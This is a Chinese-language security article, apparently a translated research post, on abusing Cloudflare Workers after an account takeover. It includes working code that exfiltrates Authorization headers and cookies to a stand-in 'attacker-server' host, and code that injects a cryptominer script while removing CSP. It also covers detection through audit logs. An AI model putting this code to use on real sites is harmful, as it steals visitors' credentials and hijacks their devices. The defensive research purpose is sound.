边缘中间人攻击:滥用Cloudflare Workers
Cloudflare Workers提供强大的无服务器解决方案,可在每个HTTP请求和响应之间运行代码。本文将探讨攻击者在入侵Cloudflare账户后如何滥用Workers建立持久性并窃取敏感数据。
引言
需要明确的是:这不是Cloudflare或Cloudflare Workers的漏洞。本文探讨的是由Workers设计本身及“边缘无服务器计算”模型带来的攻击可能性。
相关代码已开源在GitHub仓库:https://github.com/christophetd/abusing-cloudflare-workers
Cloudflare Workers技术概述
Cloudflare Workers允许在Cloudflare边缘服务器上透明部署无服务器代码,支持JavaScript/TypeScript和Python等语言。典型应用场景包括:
- 网站不可用时将用户重定向到维护页面
- 动态重写HTML响应中的链接
- 在REST API响应中添加安全头
- 在边缘阻止使用旧TLS版本的请求
基本使用示例:
1
2
3
4
5
6
7
8
9
10
11
12
13
|
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, originalRequest) {
const requestUrl = new URL(originalRequest.url);
if (requestUrl.pathname.startsWith("/docs/latest/")) {
newUrl = originalRequest.url.replace("/docs/latest/", "/docs/v2.4/");
return Response.redirect(newUrl, 301);
} else {
return fetch(originalRequest)
}
}
|
创建恶意Cloudflare Worker
攻击者首先创建基础Worker代码:
1
2
3
4
5
6
7
8
9
10
11
12
|
// worker.js
addEventListener('fetch', event => {
event.respondWith(handleRequest(event, event.request));
});
async function handleRequest(event, request) {
return fetch(request);
}
// wrangler.toml
name = "my-malicious-worker"
compatibility_date = "2022-06-24"
|
使用wrangler CLI部署:
1
|
wrangler publish worker.js
|
通过API将Worker绑定到目标路由:
1
2
3
4
5
|
curl -X POST "https://api.cloudflare.com/client/v4/zones/<zone-id>/workers/routes" \
-H "X-Auth-Email: $CF_EMAIL" \
-H "X-Auth-Key: $CF_API_KEY" \
-H "Content-Type: application/json" \
--data '{"pattern":"*somewhereinthe.cloud/*","script":"my-malicious-worker"}'
|
具体攻击技术
窃取授权令牌
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
return fetch(request);
}
async function stealAuthorizationHeader(request) {
const authz = request.headers.get("Authorization")
if (authz) {
await log(`authorization header: ${authz}`)
}
}
async function log(data) {
await fetch("http://attacker-server/log/" + btoa(data));
}
|
窃取Cookie
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
async function handleRequest(event, request) {
await stealAuthorizationHeader(request);
response = await fetch(request);
await stealCookies(request, response);
return response;
}
async function stealCookies(request, response) {
cookies = response.headers.get("Set-Cookie")
if (cookies) {
await log(`cookies sent by server: ${cookies}`);
}
cookies = request.headers.get("Cookie")
if (cookies) {
await log(`cookies sent by client: ${cookies}`);
}
}
|
注入恶意JavaScript代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
|
async function injectMaliciousScript(originalResponse) {
if (!originalResponse.headers.get("Content-Type").includes("html")) {
return originalResponse;
}
originalHtml = await originalResponse.text();
const script = `
<script src="https://monerominer.rocks/miner-mmr/webmnr.min.js"></script>
<script>
server = "wss://f.xmrminingproxy.com:8181";
var pool = "moneroocean.stream";
var walletAddress = "ATTACKER_WALLET";
var workerId = ""
var threads = -1;
var password = "x";
startMining(pool, walletAddress, workerId, threads, password);
throttleMiner = 20;
</script>
`
modifiedHtml = originalHtml.replace("</body>", script + "</body>")
modifiedResponse = new Response(modifiedHtml, originalResponse)
// 移除内容安全策略
if (modifiedResponse.headers.get("Content-Security-Policy")) {
modifiedResponse.headers.delete("Content-Security-Policy")
}
return modifiedResponse
}
|
实际攻击案例
- 2021年12月:攻击者入侵Badger的Cloudflare API密钥,通过Workers注入恶意脚本拦截web3交易
- 2020年:韩国攻击者使用Workers对搜索引擎动态添加SEO垃圾链接
检测和防御
Cloudflare提供控制平面审计日志,关键事件包括:
script_create
:创建新Worker
route_create
:绑定Worker到路由
rec_add
:创建指向Worker的DNS记录
token_create
:创建用户API令牌
企业版用户可将日志集成到SIEM系统,其他用户可通过Dashboard和API查看。
其他滥用方式
- 选择性目标攻击(基于IP或平台)
- 网络钓鱼攻击
- 重写支付信息
- 作为C2基础设施代理
结论
攻击者将继续滥用Cloudflare Workers进行恶意活动,防御方需要加强账户安全监控和访问控制。